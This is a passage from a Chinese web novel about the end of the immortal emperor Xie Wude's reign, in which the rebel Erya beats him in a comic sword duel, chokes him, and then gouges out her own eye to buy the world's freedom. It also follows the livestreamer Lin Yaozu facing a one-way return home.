余文彦听到尔雅说的:“你死后,我不会对你的家人动手的。” 在这件事情上尔雅是非常讲武德的。 她并不打算继承谢吾德的优良传统。接下来是一个新时代了,过去的传统就留在过去吧。 余文彦笑了。 他的血液逐渐从他的身下流了出来,几乎要流到尔雅的脚边。 余文彦呛咳着,他勾了勾手,示意尔雅弯下腰来。 尔雅知道他现在也没有什么力气去搞事了,所以她就弯下身来,想要听听余文彦说什么。 余文彦说:“我早就……把我的家人藏起来了。” 开什么玩笑,他可是余文彦,那个怂得要死的余文彦。 他怎么可能会让其他人发现他的家人呢?当然是在自己冒险之前就把其他事情安排好了。 尔雅愣了愣:“真的是……不愧是你,丞相大人。” 这个家伙还是老样子。 只不过他怂的方面不是自己了,他已经活够本了,现在在考虑通过别的方式回本。他现在最大的目标就是保护住家人。 尔雅也不知道为什么自己有点想笑。 “一路走好。”. 谢吾德手中的勺子啪的一声掉在了玻璃器皿中。 亚夏扭头看向他,问道:“发生了什么事情?” 谢吾德虽然脾气比较奇怪,但是他没有摔摔打打的习惯,在亚夏面前更没有必要故意表演狂躁症。 所以应该是出事了。 “嗯,感觉我好像有一个信徒死了呢。而且死前满脑子都是我。”谢吾德整理了一下自己的头发。 亚夏几乎是瞬间就对上了号:“余文彦。” 这个世界上不是没有在那个世界不是有比余文彦更加忠诚的信徒,可是奈何谢吾德最熟悉的就是余文彦,估计也只会对余文彦的死亡有那么一丁点的触动。 “啊,是的,就是他。感觉现在差不多是时候回去了。真是没想到呢,我居然这么有魅力。” 亚夏:“……” 你就想说这个吗? 他就这么沉默地盯着谢吾德。 谢吾德哼着歌,好像死的不是忠诚于他的人,而是什么无足轻重的小角色一样。 谢吾德是谢吾德,但是亚夏有的时候怎么都没办法了解这个自己的想法。 这个家伙还真是…… 亚夏捏着自己的鼻梁。 该怎么形容自己此刻的感受呢? 大概就是这个家伙真的是一个近乎纯粹的怪物。 但是他也只是忧愁了一会,毕竟他和余文彦不算特别熟,余文彦对他来说只是一个频繁出现的家伙。 他现在只是庆幸,幸亏自己和余文彦并不熟,不然这种生离死别最是令人讨厌了. 尔雅把余文彦放下了,她看着眼前的皇位,忽然有一种不太好的预感。 “退后。”尔雅忽然开口说道。 在场的人对尔雅都十分信服,他们纷纷退开。 就在他们推开的下一秒,他们感觉到一股巨力压着他们跪了下来。 他们以前也听别人提到过这种力量,在谢吾德面对不听从他的话的人的时候,他就是这么碾碎别人的膝盖的。 “哎呀,好久不见。你们就给朕送了这样的大礼呀。” 谢吾德的眼睛含笑,他看着下方的所有人。 这次他没有站在地上,而是翘着腿,飘在空中。 他依旧穿着一身红衣,让他整个人看上去雍容华贵。红色的衣服更是衬得他面若桃花,无比美丽。 没有任何人在面对谢吾德的时候能够保持镇静。 谢吾德是美丽过头又危险过头的怪物。 他不喜欢背叛者。 所以他在看到他们这些人的时候会做什么呢? “恭喜你们,击败了一路上的小喽啰,终于攻打到了王宫。终于击败了魔王手下的丞相,只不过很可惜的是,丞相在死的时候,召唤回了最后的大魔王。” “亲爱的,害怕了吗?” 谢吾德说话的语调无比浮夸。 和现在时代常用的说话方式完全不一样,不过大家都很习惯就是了。 谁知道谢吾德是不是接触什么奇怪的文化被带坏了? 哪有这么形容自己和对自己忠心耿耿的丞相的家伙? 如果余文彦还活着的话,他大概会被这个混账皇帝气到昏厥过去。 嗯,好像也不至于,余文彦应该已经习惯了自家皇帝的性格,这种事情已经不值得他生气了。 “陛下,好久不见。”尔雅还是一副冷静的样子。 “好久不见,不过这一次来可能之后就是再也不见了。”谢吾德双手交叉,看着尔雅。“余文彦竟然已经死了。嗯,这个世界就……所以我就打算销毁这个世界了。” 亚夏在谢吾德的脑子里吐槽:【不要说得好像什么三流电视剧一样,为了所谓的爱情就要毁灭世界。】 谢吾德懒得和亚夏说太多。 他和任何人解释都没必要和亚夏解释,这和私怨无关,纯属是因为他们本就是同一个人。 他知道只是纯粹的吐槽——自己还能够不知道自己的性取向吗? “陛下,难道您对这个世界就没有半分的感情吗?”林耀祖对抗着自己膝盖上的力量,努力地想要让自己站起来。 然而她的抵抗毫无意义。 “可是余文彦不是已经死了吗?而你们对我也不怎么忠诚了。”谢吾德并不会因为林耀祖和尔雅他们的背叛而感到痛苦,他也不为余文彦的忠诚感到欣慰,“没什么可以留念的了。” 可是这并不妨碍谢吾德借题发挥。 “陛下在开玩笑吧。”尔雅十分平静地指出谢吾德的漏洞。“余文彦又不是没有家人。他估计宁肯自己再死一次,也不希望自己的家人死掉。” 余文彦都这个年纪了,他看待家人当然比看待自己的生命要重一些。 谢吾德被戳破了谎言,他撇撇嘴,不太高兴地说道:“你就不能害怕一点吗?” “我要是表现得太过害怕的话,陛下会不会觉得我无趣呢?” “那也是。”谢吾德笑出了声。 “欢迎来到最后的关卡。”谢吾德施施然地坐在了桌子上,“我可以放你们一马,但是有条件的——你们得让我满意。” 他翘着腿,跪在地上的人勉强抬头,也只能看到他的鞋底。 谢吾德看着其他人问道:“你们打算如何取悦朕?提前说好了,如果你们失败的话,我就会毁掉这个世界。不能为我提供足够乐趣的世界,是绝对没有任何存在的意义了。” 谢吾德的十指交叠,满意地看着众人脸色大变。 这算得上是提前说好吗? 林耀祖双手撑在地上。 谢吾德想了想,说:“唉,可惜了,如果小余儿在的话,那现在应该是吐槽双重奏。” 谢吾德口中的“小余儿”指的就是余文彦。 余文彦知道谢吾德不爱记名字、也容易忘名字,所以一直非常希望谢吾德能够记住他的名字。 谢吾德应该是记住了,但是为了看余文彦的反应,所以经常故意喊他“小余儿”来糊弄他,来装作糊弄他的样子。 这算是谢吾德的怀念吗? 没有多少温情,但是此刻出现在他脑海里的,毫无疑问是他已经死亡的丞相。 他也是有在意的东西的。原来他也是可以在意一些东西的。 尔雅也说:“我还以为余文彦死了的那一刻,陛下就会选择忘记他。” “你当我是什么?笨蛋吗?”谢吾德不满道,“我在你们的印象中居然是这么笨的家伙。” 可能忘得那么快,好歹也得花个一百年的时间吧。 本体忘事都没有这么快。 “陛下其实也不是真的对一切都蛮不在乎的吧?”林耀祖试探性地问道。 “等等等等。”谢吾德紧急喊停。 谢吾德歪着头看着这群人,发出了灵魂的质问:“你们说这些话是想要表达什么呢?是想要喊着友情羁绊什么的冲上来,把我给打死吗?” “难道不是喊着家国和大义吗?”林耀祖接上了谢吾德的话。 “我对友情可没有半点的渴望。寿命小于一千万年的,不要有这方面的妄想。”谢吾德无视了林耀祖的话。 谢吾德虽然没有一千万岁,但是他未来的时间可不止一千万年。 “那看来这里应该是没有哪种生物能够满足您对朋友的需求了。”尔雅无不惋惜地说道,“我原本以为我也面前能算是您的朋友。” “都说了我没有朋友……为什么这话听起来怪悲惨的?准确地来说我朋友都死了……怎么听起来更悲惨了?”谢吾德喃喃自语。 亚夏:【……】 温特:【……】 亚夏:【只有你没有朋友。】 【拿猫当朋友的家伙闭嘴。】 “总之,这个世界上没有友谊魔法~”谢吾德摊开双手。 “好了,想好取悦我的方式了没有?如果还没有想好的话,我就当这是一次普普通通的宣战。” 尔雅他们是带着重兵而来的。 但是这种程度在谢吾德面前完全不够看。 谢吾德当初能够征服全世界,就是凭借这个时代——甚至是再过一百年——其他人都无法与之相抗衡的蛮横力量。 管他什么东西,航母也好,导弹也罢,能够扛得住天崩地裂吗? “陛下,如果这是一场游戏的话,游戏平衡性总该做好吧?”尔雅看向谢吾德。 谢吾德就知道尔雅是个小机灵鬼。 尔雅拿起了余文彦掉在地上的剑。她说道:“陛下,我想与您比武。” “唉?”谢吾德还真是意外。 他看了看自己,又看了看尔雅。 现在是自己二十二岁的外表。 而尔雅现在已经五十多岁了。 她在这个时代的女性中算是比较高的那一类,可是和谢吾德这种即使放在现代男性中也算是罕见高大的家伙有着很大的差距。 谢吾德都有点羞愧了:“你是认真的?” 尔雅点了点头,她当然是认真的了。 “挨打了也不准哭。”谢吾德说道。 “还请陛下放心。”尔雅说道。 别说谢吾德没料到这件事情,林耀祖也没料到。 她满脸惊诧地看着尔雅,怀疑自己是不是听错了。 她觉得尔雅疯了。 尔雅觉得,这可没什么不好的。 现在一切的重点可不是能不能够打败谢吾德,而是能不能够给谢吾德足够的乐趣。 虽然五十岁的中老年女性和外表看上去是二十二岁的青年打起来毫无胜算,但是如果想想谢吾德在战场上的表现,和他对阵几十万甚至是几百万大军时的强大,那五十岁对二十二岁就显得差距没那么大了。 “那好,但是你要是输了,你能给我什么呢?” 尔雅心里忍不住想要叹气,这算是最糟糕的情况之一。 谢吾德那种不分时间的抠门又上线了。 “我的信仰。陛下,如果我输了的话,我就向您献上我的信仰。” 谢吾德笑得更开心了:“我就知道我没有看错你,你一直都很了解我的喜好。” 尔雅曾经是谢吾德的近臣,但是尔雅从未向谢吾德献上任何信仰。 她只做自己想做的事情,她有着自己认定的想法。 一般情况下,这种人是无论如何都不可能信仰谢吾德的。 这其实也仍然是一个不等价的交易。 一个人的信仰换一个世界的自由,这简直是亏大发了。 可是这个世界本身对谢吾德而言,就是可有可无的。 这种时候他又不算得精细了。 他总是处于一种算账,但是算不明白的状态。 所以他说道:“好了,记住你的诺言。如果你输了的话,就向我献上你的信仰。” 尔雅不会在这件事情上欺骗他,她支付不起欺骗他的代价,就算是拖延也毫无意义。 别说尔雅现在找不到亚夏和温特,就算找到了,说得残忍一点,他们两个现在绑起来都打不过谢吾德,顶多是强行再次拉着谢吾德沉睡。 “那我们现在开始?” “陛下,请吧。” 谢吾德拿出了自己的佩剑,然而他却并没有把剑从剑鞘里拿出来。 他怕自己拔剑的话,尔雅会输得很快。 其实尔雅有着另外一个优势——谢吾德是永远二十二岁。 不止是外表那么简单,还有心智和能力。 别看他平时拿着剑,好像还能够使出剑气之类的东西,但是那都是法术特效。 他习过武,但是那也都是娱乐性质、强身健体用,顶多是掌握了持剑的姿势,以及寥寥几个剑招,剑都没开过刃,不然还得去警局报备,一个不小心还会弄伤自己把自己送进医院。 和人打起来的时候,他其实就是走乱拳打死老师傅流派的。 然而尔雅是真的静下心来学过剑,这是她自卫的重要手段。 她实打实地通过自己的技巧杀过不少人,所以她一出手,谢吾德就觉得自己有点扛不住。 这出招也太刁钻了。 如果不是他的佩剑足够长的话,他都担心自己第一下就被尔雅抹了脖子。 不过他用剑鞘用力地抽了一下尔雅的剑,把这道攻击给挡了下来。 他的眼神稍微偏转了一点。 自己千万不能被尔雅伤到。 如果被尔雅伤到的话,她就会发现其实他时时刻刻开着防御。 要是尔雅说他这算作弊的话,实在是有点丢人了。 尔雅被谢吾德抽了一下,她也觉得谢吾德实在是难搞。 其实她也觉得谢吾德实际上是开着防御的。 不过她觉得还好,她可不想把人弄伤了,让人气得炸毛,这种程度刚刚好。 不过除开这个,谢吾德恐怕是真的没有使用任何法术,可是刚刚挡的那一下力气可是真够大的。 她已经觉得自己的虎口发麻。 尔雅和谢吾德打起来,就越发确定谢吾德是真的没有什么技巧,他现在所依靠的就是纯粹的□□强度。 谢吾德从小到大就没怎么输过,除非对方是真的走体育生路线的。 但是尔雅放在现代,就是体育生级别的。 年纪大的体育生也是体育生。 尔雅不跟谢吾德来虚的,她招招都冲着谢吾德的要害区。 谢吾德接了尔雅几招,他就觉得自己好像有点累了。谢 吾德是个耐性很差的家伙,温特和亚夏还会为了达成目的而忍耐,谢吾德是从来不忍的,所以当他觉得累的时候,他就干脆利落地选择…… 在众人的注视下,扭头就跑。 尔雅都愣了。 林耀祖所携带的弹幕也是一片无语。 【没看错吧,他是跑了吧?】 【这是谢吾德会干出来的事情吗?我一直觉得他很看重自己的面子。】 【他被我们看到这么丢人的场景,不会杀了我们吗?】 【往好处想想,也许他是有自己的想法。】 “陛下你这是在干什么?是打算休战吗?”尔雅开口问道。 “我现在说休战,你肯定也不会听。”谢吾德和尔雅拉开了一定的距离。 尔雅无语地追了上去。 她追,他逃,他们都插翅难飞。 然而,如果一旦落入追逐战的话,现在的情况大概就是追逐战,谢吾德直接绕着柱子跑。 【现在是在cos秦王吗?】温特开始啃爆米花。 亚夏也看乐了:【你不觉得这有点丢人吗?】 【这算什么丢人?】 对于丢人谢吾德有自己的定义。 他对绕柱走这项技能有充足的经验。 小的时候和家里人打闹,只要陷入到绕柱走这个阶段,那就会陷入僵持。他十次中也许能有一两次抓住别人,但是别人是一次都别想抓住他。 【你不丢人,我看着丢人。】 虽然是一个人,但是因为亚夏自己现在其实正在捏手办玩,他看谢吾德的行为就像是第三者视角一样,完全没有代入,而有些事情通过第三者的角度来看,格外尴尬。 【和尔雅打的手腕有点疼。】谢吾德抱怨道,【最近手机玩多了,腱鞘囊肿犯了。】 亚夏和温特都沉默了。 两个人同时抱怨:【有空玩手机玩到犯腱鞘炎,不如来帮我干活啊。】 当一个人忙碌的时候,最痛苦的莫过于看到还有人在那里无所事事。 【你这话听起来就跟老妈一样。】谢吾德嘀嘀咕咕,然后三个人同时沉默了。 在这种紧张刺激的时候,回想起过去是不是不太合适? 难道说在陷入大决战的时候必定要落入什么回忆杀吗? 可能是前不久谈到的那个关于朋友的话题,唤醒了谢吾德的一些记忆。 不然平时最不会思考这些事情的就是谢吾德。 开玩笑,他代表的是拥有神明一面的亚夏,谁家的神明有家人呢?当这是洪天王剧情吗? 其实之前林耀祖说的,这个世界上没有什么能够让谢吾德挂念的东西吗? 就算不仅限于这个世界,谢吾德也会点头说是,是的,这个世界上就是没有值得他挂念的事情。 如果他要把所有事情都挂念在心头的话,那未来的日子该怎么过?他会被硬生生拖垮的。 谢吾德可以复活其他人,但是复活了又有什么意义呢?他们的心态早就回不到当初纯粹以为自己是纯粹的人类的时候了。 因为想到了不太愉快的事情,所以谢吾德干脆反击来发泄一下自己心中的郁气。 谢吾德停下脚步。 抬起手,用自己的剑鞘卡住了尔雅的剑,又猛地一个闪身,踩在了她的脚趾上。 尔雅的剑顺着谢吾德的剑鞘向上滑,似乎像是要砍到谢吾德的手指一样。 谢吾德出手快,收手更快。 在他做出自己不会用法术的承诺之后,很多行动都偏向于保守型,带着一股谨慎的感觉。 尔雅想,也许这才是谢吾德性格的底色——谨慎保守。 之前那些狂妄的表现,更像是谢吾德倚仗着自己强大的力量,所以根本就没有展现出自己性格中保守一面的机会。 谢吾德在踩了尔雅之后,便猖狂大笑着跑掉了,就好像他刚刚是故意这么做来激怒尔雅的。 尔雅在心里默默地补充了一句:也许还真的欠揍。 林耀祖从一开始的紧张逐渐变为了无语。 总感觉现在变成了什么幼儿园场景。 她很想出手,但是她知道只要一出手就会给谢吾德使用法术的借口。 她就只能眼睁睁地看着。 谢吾德好像真的跑不动了,他跳到了自己的皇位上,踩着下面的雕花跳到了最上方。 他真就跟只卷毛猫一样。 尔雅慢悠悠地走了过来,其实她也累得够呛,只不过她在给谢吾德面前装样子。 她比谢吾德更想要达成自己的目标,所以即使心脏已经跳到了让她有点不太舒服的程度,她也忍住了。 感谢她年轻时锻炼出来的身体,不然哪里能陪着谢吾德这种如同奶牛猫一样的家伙上蹿下跳。 如果不是谢吾德之前给人的印象实在是太恐怖了的话,尔雅觉得这个世界上有大把大把的人想要探索谢吾德不老的秘密。 谢吾德的心态都没老,这可太让人羡慕了。 尔雅看着谢吾德,说道:“陛下这个样子是被我逼到没办法,算是我赢了吗?” “怎么可能算你赢,我们之间的比试还没有结束呢。”谢吾德拿着剑冲下挥了挥,“当然如果你想要继续的话也是可以的。” 谢吾德的言下之意就是如果尔雅上来的话,他就只把剑从上面伸下去乱晃。 居高临下的是有一定的优势的,不过谢吾德想想觉得自己这么做好像有点像是在耍赖,所以他看似脸皮很薄地又补了一句:“这段时间你不也可以休息嘛,很公平的。” “可是我不想休息呢。陛下,您的劣势实在是太过于明显了呢。” 平时溜达来溜达去,溜达个一天基本都轻轻松松,但是只要一上强度,谢吾德的体力掉得就格外快。 尔雅看着谢吾德,他完全不为所动。 她有点无奈地扶额:“您要是休息就下来休息吧,您在这上面看上去实在是有点狼狈。即使我们现在正在叛乱,也是希望我们的陛下能够保持一定的体面的。” 谢吾德抬眸看向了尔雅。 尔雅把剑收了起来。 “小林,你说是不是?”尔雅看向了林耀祖。 林耀祖不知道尔雅葫芦里卖的什么药,但是她点头说道:“是啊,陛下在上面屁股不硌得疼吗?” 林耀祖不说还好,一说谢吾德就觉得这里坐着不太舒服。 上面其实还有点积灰,不多,但是只要一在意起来就变得十分明显。 虽然每天都有人打扫,但是宫人显然在这种近乎绝对的死角的地方稍微有点懈怠,而且想要清理这里也格外费力。 于是谢吾德跳了下来。 尔雅给谢吾德倒了一杯茶。 真的要休息吗? 谢吾德毫无防备地准备接过加了大量奶和糖的茶,尔雅的手一偏,茶水便倾倒在了地上。 奶茶滴滴答答地洒了一地。 谢吾德一愣。 他条件反射地想要后退,但是后面就是皇位,一仰头反而撞到了头。 尔雅要的就是他这恍惚的一瞬间。 尔雅抬手掐住了谢吾德的脖子。 “陛下,是我赢了。” 尔雅的阴影投在了谢吾德的身上,她双手掐住谢吾德的脖子。 谢吾德:“……” 谢吾德是真的大脑一片空白,完全没有反应过来,或者说他对这件事情的态度本身也没有尔雅那么严肃,根本就没太多反诈意识,就连刚刚躲闪也只是纯粹地条件反射。 他本来想大喊“你们这是在骗人”,但是亚夏及时出声,阻止了谢吾德丢人的话:【她可没说你下来也不会对你动手的。】 谢吾德呆了一下。 还真是。 这显然是尔雅的随机应变,在谢吾德表现出疲态的时候说出来糊弄他的,但是谢吾德这几秒钟并没有反应过来,并且没有意识到尔雅的险恶用心。 所以他很遗憾地中招了。 社会经验封顶不过二十二岁的刚出校园的大学生哪里被玩过这种语言游戏? 谢吾德只要下场,失去了旁观者清的视角,他也就这水准了。 谢吾德,可太好骗了。 亚夏给自己做出了这样的评价。《 》 【完结】 第121章 谢吾德并没有多难受,他完全可以正常呼吸。 他的防护是对方的力道越强,防护就越结实的类型,而尔雅的力气恰好处于一个能够让他的皮肤感觉到压力的程度。 谢吾德也没有挣扎,就任由尔雅保持着这个姿势。 他还看似抱怨地说道:“你居然骗人,这可太坏了。” “这本来就不是一场公平的对决。如果我不这么做的话,怎么可能有胜算呢?陛下连剑都没有拔出来,其实也是在瞧不起我吧。” 谢吾德没有否定尔雅这种说法,他只是说:“掐死人是一件很困难的事情,男性掐死女性都要废很大的力气,这是一种漫长的死法,而且这过程中人会大小便失禁的。” 尔雅的手掌又往谢吾德的脖子上贴了一点:“陛下掐死过人吗?” 谢吾德的气管被压迫住了,他忍不住咳嗽了几声:“咳咳,知识不是必须通过实践才能获得的。” 他如果不是对拉丁语单词有点苦手以及久闻生化环材四大天坑之威名,他当初搞不好就去学生物了。 不过尔雅想要再用点力气的时候,她发现自己没法再用力了,这就是极限了。 她只能放弃自己彻底杀死谢吾德的计划。 本来她对这种事情也不太抱有期望。 谢吾德能复活谢萍就未必不能复活他自己。 【你在干嘛?】亚夏开口问道。 【我在被人掐着呢。】谢吾德回答。 温特接话:【你知不知道你现在看上去非常像是抖M呢?】 【拒绝标签化。我只是比较喜欢强势的女性。从一开始我就知道尔雅是一个御姐系和女王系的角色。果然够带劲。】谢吾德在脑子里竖了一个大拇指。 【完了,你这几句话说的你更像是抖M了。】 【不是,你们代入一下不觉得带劲吗?这个场景刺不刺激?】谢吾德很不喜欢抖M这个词,他不虐待别人就好,怎么会让别人虐待他,【说得好像同一个人的兴趣会有偏差一样,喜欢艾斯德斯、玛奇玛这类角色的不就是我们自己吗?】 他讨厌这个词被放在他身上。 他就是觉得很新鲜。 亚夏装作没听见,他选择了最不给面子的说法:【我代入了一下尔雅,觉得很带劲。】 温特没有说话,但是有的时候温特的沉默就是赞同的意思。 【好吧,知道你们几个都想掐死我了。】 尔雅看着谢吾德,说道:“=想来这次陛下一定不会违背自己之前许下的承诺,会将真正的自由给予这个世界吧。” “当然,我说话算话。”谢吾德咳嗽了几声。 就在这时,亚夏又忽然开口了:【我忽然想起来一件事。】 【什么事情?】谢吾德问。 【我现在这个场景,你记不记得尔雅其实以前是宫女,现在算不算是嘉靖名场面?】 温特摇头叹气,他也没憋得住吐槽:【练得身形似鹤形,不怕宫女勒脖颈。】 【尔雅要是真是个宫女,谢吾德也只是一个普通皇帝,她肯定不会犯打死结的错误,就算力气太小弄不死人,也要把人身上撕下一块肉。】亚夏还认真地思考了一下,【她肯定会有好几个备用方案,如果她遇到了那些宫女的事,搞不好她还会选择把皇帝阉了,蛋蛋丢炉子里炼丹。】 【……不开玩笑,你们两个家伙对看我吃瘪到底有多少热情啊?】谢吾德听得都有点蛋疼了,【尔雅这种性格的人也很难是个普通宫女出身吧?】 谢吾德不跟自己聊了,再聊下去他就要气得红温了。 在这种时候脸红可别真的被人误会是娇羞了。 他伸出手,一个钥匙形状的东西出现在了他的手里。 “好了,拿着这个钥匙吧,只要拿着这个钥匙你就可以控制整个世界了。”谢吾德用手指夹着钥匙,放在了尔雅面前。 尔雅抬眸看向他。 谢吾德脸上的微笑带着近乎赤裸的恶意。 几乎所有人的脸色都微变。 在场的人都是尔雅的死忠,愿意为她走到谢吾德面前,但是在面对此情此景,很难有人能够沉得住气,所有人的目光看向了尔雅。 他们如今做的一切,不仅仅是为了夺取他们这个世界的自由,同样是为了推翻皇权。 在整个世界的自由面前,皇权微不足道——而这个目的也是最初尔雅能够找到一群人跟随着他来反抗谢吾德的原因。 尔雅只要拿了这把钥匙,即使她不是皇帝,也会成为实际上的皇帝。 他们成功了,但是同样也失败了,这个天下并不能够得到真正的太平。 他们很努力地试图信任尔雅,但是谢吾德的一句话激起了所有人的求生本能。 没人希望自己的生命被人捏在手里。 甚至从某种程度上来说,这份权力从谢吾德手中转移到尔雅手中更加令他们不安。 因为谢吾德已经稳定控制这个世界几十年了,谢吾德掌握这份权力的答案是已知的,而尔雅是未知的。 未知才是最恐怖的。 “陛下,您真的不是很擅长骗人。”尔雅说道。 谢吾德歪头看向尔雅,他看上去笑眯眯的,还有点得意,十分可爱:“我擅长所有事情。” 【吹牛逼。】 尔雅说道:“我一直以为陛下是无所不能的。” 谢吾德挑眉:“都说了我当然是无所不能的。” 亚夏在那里唱反调:【除了数学题。不会就是不会,再怎么全能,只要不是全知,那就是做不会一道高难数学题。】 又是亚夏的固定垃圾话环节,谢吾德熟练地无视了他。 谢吾德和其他自己最大的区别就是他可以面不改色地吹牛逼。 亚夏和温特是追求严谨、性格老实的家伙,有什么说什么,性格都不带变的。 “那么既然陛下那么全能,为什么陛下不能够把这把钥匙融入到天地之中呢?如果陛下做不到的话,那陛下是不是就没那么全能了?” 这是经典悖论了。 神无法制造出一颗他举不起来的石头。 尔雅还没有坏心眼到能够提出这样的问题,谢吾德解决不了问题,但是可以解决任何提出这种问题的人。 而且本质上来说,这把钥匙就是糊弄人的,这个世界根本就不存在任何控制权,谢吾德是凭借实力玩弄全世界。 搞出这把钥匙就是想要为难其他人。 可惜尔雅不上套,轻轻松松地就把问题抛回给了他。 谢吾德思考了两秒,说道:“说真的,你一直都知道我想要干什么,这种事情反而让我很不爽呢。就算我觉得你的挣扎很有意思,但是次数多了,也会变得无聊。” 【就像是小孩子在游戏输了很多场之后,就会哇哇大哭,强行要求别人输给他的样子呢。】 谢吾德很认真地开始思考他应该怎么堵亚夏的嘴。 亚夏捂不上谢吾德的嘴,谢吾德也捂不住亚夏的嘴。 在某一瞬间,他甚至还反思了一下自己。 亚夏当年在外面以实体活动的时候,他有时候就会以阿飘的形式在亚夏身边打转,当时他好像也碎嘴说了很多话。 这家伙果然是在报复他吧? “嗯……不是臣故意想这样的。”尔雅说道。 如果是别的事情的话,尔雅是很乐意发挥一下自己的高情商,做出一种与领导紧张博弈,因为棋差一招,最后仍然是英明神武的领导获得最后胜利的戏码。 “可是陛下拿来玩的,偏偏是整个天下,这就让臣完全无法懈怠半分了。”尔雅一口一个臣,但是说的话并没有很把谢吾德看做是一个皇帝——掐着他的动作看着也不像是,“这个天下并非臣的天下,臣也没有资格替所有人答应陛下。” 尔雅是一个很纯粹的人,一个纯粹想要青史留名的人。 如果胜利不够彻底,死了太多人,向谢吾德妥协太多的话,那最后的胜利就会变成笑话。 谢吾德做事可不会有分寸。 拿世界做玩具的人随手就是几十万甚至是上百万人的死亡,或者随手制造的灾难便会成为之后数百年的伤痛。 “你都说到这份上了,你的要求我的确可以做到。”谢吾德的眼睛转了一下,“不过嘛,做这种事情终究是要费些心思的,我需要你给我一些报酬。” 尔雅知道这份交易是不允许他拒绝的。 “陛下请说。” “把你的一只眼睛作为报酬献给我。”谢吾德微笑着看着尔雅,“这是你的身体,是彻头彻尾属于你自己的,所以你完全可以代替自己答应下来这件事。所以你同意……吗?!” 谢吾德最后一个字音有点变调。 因为他看到尔雅毫不犹豫地把手伸进了眼眶里,毫不留情、动作迅速地把自己的眼睛抠了下来。 谢吾德笑不出来了。 他的表情僵硬,最后一切情绪归为了面无表情。 尔雅把自己的眼睛放在了谢吾德的面前,这颗眼球不是圆的,而是烂了一半。 “抱歉了,陛下,这东西不太好抠,所以很难完整地取下来。只是以陛下的能力,想来能够轻松地把它复原吧。” 谢吾德沉默地双手交叉,看着自己旁边的眼球。 亚夏和温特也倒吸了一口凉气。 他们虽然时不时地切一下自己,但是那是因为他们不死又太过于无聊了。 对于一个普通人来说,这根本就不是正常反应。 尔雅的脸也有点僵硬,可是她还是保持着自己的微笑。 她的僵硬更多地是来自失去一只眼睛的不适。 尔雅没有给谢吾德半点改口的机会。 用自己的一只眼睛来换取这个条件,实在是太过于划算了。 这甚至不是要她的生命。 尔雅也十分看重自己的生命,她还打算留着自己的命去完成后续的事情。 如果现在就死在这里的话,成果会被其他人给侵吞,她绝对不甘心。 做事,就要做绝。 她此刻下定决心所需要的勇气甚至不如她当初选择离开临川陈氏时的勇气。 尔雅回过头,看到林耀祖他们身上的束缚压制都减轻了。 她对谢吾德行了最后一礼,便带着其他人退开。 “陛下保重。” 尔雅抬起头,那一只失去的眼睛里还在往外渗着鲜血,其中的空洞让人心惊。 谢吾德没有和她告别,而是伸手拿起了那颗眼球。 破碎的眼球在他手中复原,仿佛又变得鲜活了起来。 “真是特别的祭品。”谢吾德和这颗眼球对视。 在离开了主人之后,这就是一颗普通的眼球,虽然谢吾德可以强行维持住它的生命力,但是神采还是不对。 “就凭这个,就足够我记住你的主人百万年以上了。” 谢吾德把眼球往法网构建的特殊空间一丢,收藏品加一。 他看着空荡荡的大殿里几乎已经没有任何人了。 忠于谢吾德的人几乎被尔雅杀了个精光,于是在尔雅离开之后,这里就空无一人了。 尔雅没有留下任何一个人,这也是为了证明她对谢吾德的信任——她信任谢吾德不屑于做出尔反尔的事情。 他的两条腿都搭在了桌子上。 之前他从来没有这么做过,不过他既然打算离开了,就不能在意这种事情了。 反正不需要他亲自给这张桌子消毒了。 “游戏结束了,有种空落落的感觉呢。”谢吾德看了看尔雅放在桌子上的佩剑,想到这是余文彦的剑,还是一挥手,把这个也当成了自己的收藏品。 谢吾德把腿放了下来,站起身来,伸了一个懒腰。 他想在这个世界体验的是当皇帝的生活,而不是看着这个世界发生变革,他关注尔雅也只是欣赏他们能够给他带来的乐趣。 现在结束了。 谢吾德拍拍自己的衣服,他便从一身红色的皇袍变成了现代打扮,就连头发都被剪短了。 他消失在了原地. 林耀祖回头看着皇宫,又急匆匆地把目光转移到了尔雅身上。 一群人围着尔雅帮她处理伤口。 林耀祖看到刚刚那一幕都快要吐了,她不知道自己是因为恶心还是紧张,但是她就是感觉自己的整个胃好像被人抓住了,连带着食道一起往下扯。 能够被谢吾德欣赏的,果然没有几个是正常人。 就算尔雅也…… 林耀祖微妙地停顿了一下,她忽然想起,其实尔雅从一开始就算不上是什么普通人。 她只是一个在现代社会看上去十分正常的励志人物,但是放在古代,她的每一步走得恐怕都极其疯狂。 “我没事。”尔雅挥挥手,让林耀祖过来,“你看看有没有发生什么改变。” 林耀祖现在的心有点乱,但是听到尔雅的话之后,还是沉下心来开始检查。 她首先注意到的是那个直播消失了。 虽然她还能够看到弹幕,但是弹幕那边显然也看不到她了。 他们在发着消息:【发生了什么事情?那边怎么了?该不会在把谢吾德打败之后就爆炸了吧?】 【主播主播,你还在吗?在的话赶紧说一声。】 另外一边的世界在不停地呼喊着林耀祖,生怕她死在了这里。 林耀祖感觉一股凉意攀了上来。 这是什么意思?这是两个世界要断开联系了吗? 她是颤抖着双手——比之前尔雅取出自己眼睛时还要抖,她点开了系统商城。 之前系统商城里还会卖一些东西,可是现在画面中央剩下的唯一一样东西——一张返程券了。 返程券的价格,刚好是林耀祖现在攒下的所有积分的总和。 无良系统,疯狂涨价。 谢吾德的游戏结束了,而林耀祖的游戏也会到此为止。 林耀祖只要离开这个世界,她就再也不会回来了。 谢吾德不是什么善良的神明,他肯定是要从在场所有人身上夺走一些重要的东西的。 或者说,谢吾德的游戏结束,系统背后的存在就没必要继续维护系统了。 林耀祖逐渐变得面无表情。 尔雅看着林耀祖,却好像知道了谢吾德给林耀祖的选择一样。 她对林耀祖说道:“你回去吧。” 林耀祖抬起头问:“你知道我看到了什么?” “大致能够猜出来。”尔雅颔首,“他不会让任何一个人好过的。” 谢吾德做事不会祸及妻女,但是一定会狠狠地搞这个人的心态。 林耀祖深深地吸了一口气,她问尔雅:“你觉得我应该做出什么样的选择呢?” “这种事情交给我吗?”尔雅轻笑道,“我觉得你不应该是这么没主见的人。” “你对我似乎并没有多少留恋。”林耀祖忍不住说道。她和尔雅当了三十年的朋友。 现在她最想听到的是什么呢?是尔雅对她的挽留。 如果她离开的话就是永别了,尔雅真的不打算说些什么吗? 可惜尔雅真的没有什么可说的。 “你会回去的。”她看着林耀祖,“你不是孤家寡人,还有父母和亲人在另外一个世界。以你的年龄来看,你的父母年纪也不小了。所以不回去吗?” 林耀祖:“……”太现实了。 她父母也都七八十岁了,虽然另一边的世界帮忙把人照顾得很好,父母每天又能通过自己的直播看到自己的情况。 但是现在直播结束了,她不回去有点不像话了。 